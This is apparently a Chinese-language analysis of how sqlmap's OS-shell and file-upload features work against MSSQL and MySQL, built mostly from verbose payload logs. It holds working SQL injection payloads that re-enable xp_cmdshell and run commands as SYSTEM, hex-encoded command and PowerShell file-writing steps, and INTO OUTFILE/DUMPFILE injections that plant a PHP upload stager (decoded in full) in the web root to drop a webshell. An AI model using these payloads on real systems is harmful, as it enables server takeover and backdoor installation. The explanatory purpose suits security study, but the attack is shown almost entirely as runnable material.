[15:52:30] [PAYLOAD] xxxxx' AND 8217 IN (SELECT (CHAR(113)+CHAR(106)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT TOP 1 SUBSTRING((ISNULL(CAST(data AS NVARCHAR(4000)),
CHAR(32))),1,1024) FROM sqlmapoutput WHERE id NOT IN (SELECT TOP 0 id FROM sqlmapoutput ORDER BY id) ORDER BY id)+CHAR(113)+CHAR(122)+CHAR(122)+CHAR(113)+CHAR(1
13)))-- zCxp
[15:52:30] [DEBUG] performed 2 queries in 0.12 seconds
[15:52:30] [PAYLOAD] xxxxx';DELETE FROM sqlmapoutput--
[15:52:30] [INFO] xp_cmdshell extended procedure is usable

然后会查找MSSQL的日志目录,实际执行查询是:

select SERVERPROPERTY('ErrorLogFileName')
[15:52:30] [DEBUG] identifying Microsoft SQL Server error log directory that sqlmap will use to store temporary files with commands' output
[15:52:30] [PAYLOAD] xxxxx' AND 9706 IN (SELECT (CHAR(113)+CHAR(106)+CHAR(120)+CHAR(122)+CHAR(113)+(SELECT SUBSTRING((ISNULL(CAST(SERVERPROPERTY(CHAR(69)+CHAR(114)+CHAR(114)+CHAR(111)+CHAR(114)+CHAR(76)+CHAR(111)+CHAR(103)+CHAR(70)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(78)+CHAR(97)+CHAR(109)+CHAR(101)) AS NVARCHAR(4000)),CHAR(32))),1,1024))+CHAR(113)+CHAR(122)+CHAR(122)+CHAR(113)+CHAR(113)))-- weXH
[15:52:30] [INFO] retrieved: E:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Log\ERRORLOG
[15:52:30] [DEBUG] performed 1 queries in 0.03 seconds
[15:52:30] [DEBUG] going to use 'E:/Program Files/Microsoft SQL Server/MSSQL10_50.MSSQLSERVER/MSSQL/Log' as temporary files directory

写入文件到Log目录

[15:52:30] [INFO] using PowerShell to write the binary file content to file 'C:\666.txt'
[15:52:30] [DEBUG] uploading the base64-encoded file to E:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Log\tmpfghpl.txt, please wait..
[15:52:30] [PAYLOAD] xxxxx';DECLARE @dsqz VARCHAR(8000);SET @dsqz=0x6563686f205347566f5a5445794d7a51314e673d3d203e3e2022453a5c50726f6772616d2046696c65735c4d6963726f736f66742053514c205365727665725c4d5353514c31305f35302e4d5353514c5345525645525c4d5353514c5c4c6f675c746d70666768706c2e74787422;EXEC master..xp_cmdshell @dsqz--

实际执行的命令是:

echo SGVoZTEyMzQ1Ng== >> "E:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Log\tmpfghpl.txt"

然后使用Powershell解码Base64文件,首先写入powershell脚本

[15:52:30] [DEBUG] uploading the PowerShell base64-decoding script to E:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Log\tmppsepgs.ps1
[15:52:30] [PAYLOAD] xxxxx';DECLARE @iumo VARCHAR(8000);SET @iumo=0x6563686f2024426173653634203d204765742d436f6e74656e74202d506174682022453a5c50726f6772616d2046696c65735c4d6963726f736f66742053514c205365727665725c4d5353514c31305f35302e4d5353514c5345525645525c4d5353514c5c4c6f675c746d70666768706c2e747874223b2024426173653634203d2024426173653634202d7265706c616365202260747c606e7c6072222c22223b2024436f6e74656e74203d205b53797374656d2e436f6e766572745d3a3a46726f6d426173653634537472696e672824426173653634293b205365742d436f6e74656e74202d506174682022433a5c3636362e74787422202d56616c75652024436f6e74656e74202d456e636f64696e672042797465203e3e2022453a5c50726f6772616d2046696c65735c4d6963726f736f66742053514c205365727665725c4d5353514c31305f35302e4d5353514c5345525645525c4d5353514c5c4c6f675c746d707073657067732e70733122;EXEC master..xp_cmdshell @iumo--
[15:52:30] [DEBUG] executing the PowerShell base64-decoding script to write the C:\666.txt file, please wait..

实际执行的是

echo $Base64 = Get-Content -Path "E:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Log\tmpfghpl.txt"; $Base64 = $Base64 -replace "`t|`n|`r",""; $Content = [System.Convert]::FromBase64String($Base64); Set-Content -Path "C:\666.txt" -Value $Content -Encoding Byte >> "E:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Log\tmppsepgs.ps1"

然后执行该脚本,并删除遗留文件。

[15:52:30] [PAYLOAD] xxxxx';DECLARE @wpll VARCHAR(8000);SET @wpll=0x706f7765727368656c6c202d457865637574696f6e506f6c69637920427950617373202d46696c652022453a5c50726f6772616d2046696c65735c4d6963726f736f66742053514c205365727665725c4d5353514c31305f35302e4d5353514c5345525645525c4d5353514c5c4c6f675c746d707073657067732e7073312220262064656c202f46202f512022453a5c50726f6772616d2046696c65735c4d6963726f736f66742053514c205365727665725c4d5353514c31305f35302e4d5353514c5345525645525c4d5353514c5c4c6f675c746d70666768706c2e7478742220262064656c202f46202f512022453a5c50726f6772616d2046696c65735c4d6963726f736f66742053514c205365727665725c4d5353514c31305f35302e4d5353514c5345525645525c4d5353514c5c4c6f675c746d707073657067732e70733122;EXEC master..xp_cmdshell @wpll--

实际执行的是

powershell -ExecutionPolicy ByPass -File "E:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Log\tmppsepgs.ps1" & del /F /Q "E:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Log\tmpfghpl.txt" & del /F /Q "E:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Log\tmppsepgs.ps1"

Mssql


mssql想要执行命令需要支持Stacked Queries。使用mssql 2005测试。
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure开启它。
使用sqlmap -v 3来查看sqlmap的Payload

[16:13:05] [PAYLOAD] 1;DECLARE @hihq VARCHAR(8000);SET @hihq=0x70696e67202d6e203130203132372e302e302e31;EXEC master..xp_cmdshell @hihq--
0x70696e67202d6e203130203132372e302e302e31

转换为字符串为ping -n 10 127.0.0.1
通过响应时间来判断是否可以执行命令

xp_cmdshell extended procedure does not seem to be available. Do you want sqlmap to try to re-enable it? [Y/n]
[16:16:26] [PAYLOAD] 1;EXEC master..sp_configure 'SHOW advanced options',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'xp_cmdshell',1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'SHOW advanced options',0; RECONFIGURE WITH OVERRIDE--

通过EXEC master..sp_configure ‘xp_cmdshell’,1; RECONFIGURE WITH OVERRIDE; 启用xp_cmdshell

[16:19:59] [INFO] xp_cmdshell re-enabled successfully

然后创建一张表来写入命令执行的输出

[16:19:59] [PAYLOAD] 1;DROP TABLE sqlmapoutput--
[16:19:59] [PAYLOAD] 1;CREATE TABLE sqlmapoutput(id INT PRIMARY KEY IDENTITY, data NVARCHAR(4000))--
[16:19:59] [PAYLOAD] 1;DECLARE @iqoj VARCHAR(8000);SET @iqoj=0x6563686f2031;INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @iqoj--
0x6563686f2031为echo 1
[16:19:59] [PAYLOAD] 1 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(98)+CHAR(118)+CHAR(112)+CHAR(113)+ISNULL(CAST(data AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(106)+CHAR(98)+CHAR(107)+CHAR(113) FROM sqlmapoutput ORDER BY id-- -
[16:19:59] [PAYLOAD] 1;DELETE FROM sqlmapoutput--

os-shell> whoami
[16:24:38] [PAYLOAD] 1;DECLARE @xgsv VARCHAR(8000);SET @xgsv=0x77686f616d69;INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @xgsv--
[16:24:38] [PAYLOAD] 1 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(98)+CHAR(118)+CHAR(112)+CHAR(113)+ISNULL(CAST(data AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(106)+CHAR(98)+CHAR(107)+CHAR(113) FROM sqlmapoutput ORDER BY id-- -
[16:24:38] [DEBUG] performed 1 queries in 0.04 seconds
[16:24:38] [PAYLOAD] 1;DELETE FROM sqlmapoutput--
command standard output: 'nt authority\system'

 

Mysql


python sqlmap.py -r r.txt --os-shell
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)

直接回车选择默认PHP

what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /usr/local/apache2/htdocs, /v
ar/www/nginx-default') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search

1为默认apache的默认Web路径,可以通过报错信息获取到Web程序的绝对路径,选择2输入
please provide a comma separate list of absolute directory paths: /var/www/html/
先看一下sqlmap的打印信息

[10:25:02] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT
'LINES TERMINATED BY' method
[10:25:02] [WARNING] unable to upload the file stager on '/var/www/html/'
[10:25:02] [INFO] trying to upload the file stager on '/var/www/html/' via UNION
method
[10:25:02] [INFO] the remote file '/var/www/html/tmpuhgbs.php' is larger (706 B)
than the local file 'c:\users\dell\appdata\local\temp\sqlmappmmrsn14284\tmpdctw
k9' (705B)
[10:25:02] [INFO] the file stager has been successfully uploaded on '/var/www/ht
ml/' - http://192.168.192.120:80/tmpuhgbs.php
[10:25:02] [INFO] the backdoor has been successfully uploaded on '/var/www/html/
' - http://192.168.192.120:80/tmpbewox.php
[10:25:02] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER

然后对应着Mysql的查询日志来看一下:

[10:25:02] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT
'LINES TERMINATED BY' method
[10:25:02] [WARNING] unable to upload the file stager on '/var/www/html/'

通过LINES TERMINATED BY的方法来写入PHP文件

SELECT first_name, last_name FROM users WHERE user_id = '' LIMIT 0,1 INTO OUTFILE '/var/www/html/tmpuscdb.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777772f68746d6c2f3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a

LINES TERMINATED BY表示查询记录的每行以By后面的内容分割,这里因为查询user_id为空所以没有查询到记录,所以此文件为空。如果将id的参数修改为1,则有一条查询内容,那么这段PHP文件上传程序就可以成功写入文件。

然后通过into outfile的方式来写入文件

SELECT first_name, last_name FROM users WHERE user_id = '-1181' UNION ALL SELECT 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f7661722f7777772f68746d6c2f3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a,NULL INTO DUMPFILE '/var/www/html/tmpuhgbs.php'-- -'

这段16进制的内容为:

<?php
if (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=/var/www/html/> <input type=submit name=upload value=upload></form>";}?>

是一段文件上传的代码
然后判断文件上传是否成功

SELECT first_name, last_name FROM users WHERE user_id = '' UNION ALL SELECT CONCAT(0x71786a6b71,IFNULL(CAST(LENGTH(LOAD_FILE(0x2f7661722f7777772f68746d6c2f746d7075686762732e706870)) AS CHAR),0x20),0x7178767871),NULL-- -'

文件上传成功,可以看到属主和属组都是mysql。
-rw-rw-rw- 1 mysql mysql 706 6月 17 10:21 tmpuhgbs.php
然后通过tmpuhgbs.php直接上传webshell,可以看到权限为apache。
-rwxr-xr-x 1 apache apache 908 6月 17 10:21 tmpbewox.php
然后就可以执行系统命令了

os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] Y
command standard output: 'apache'

PS:有时因为中途退出会导致命令执行没有回显
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] No output
需要清空一下C:\USERS\XXX\.SQLMAP\OUTPUT\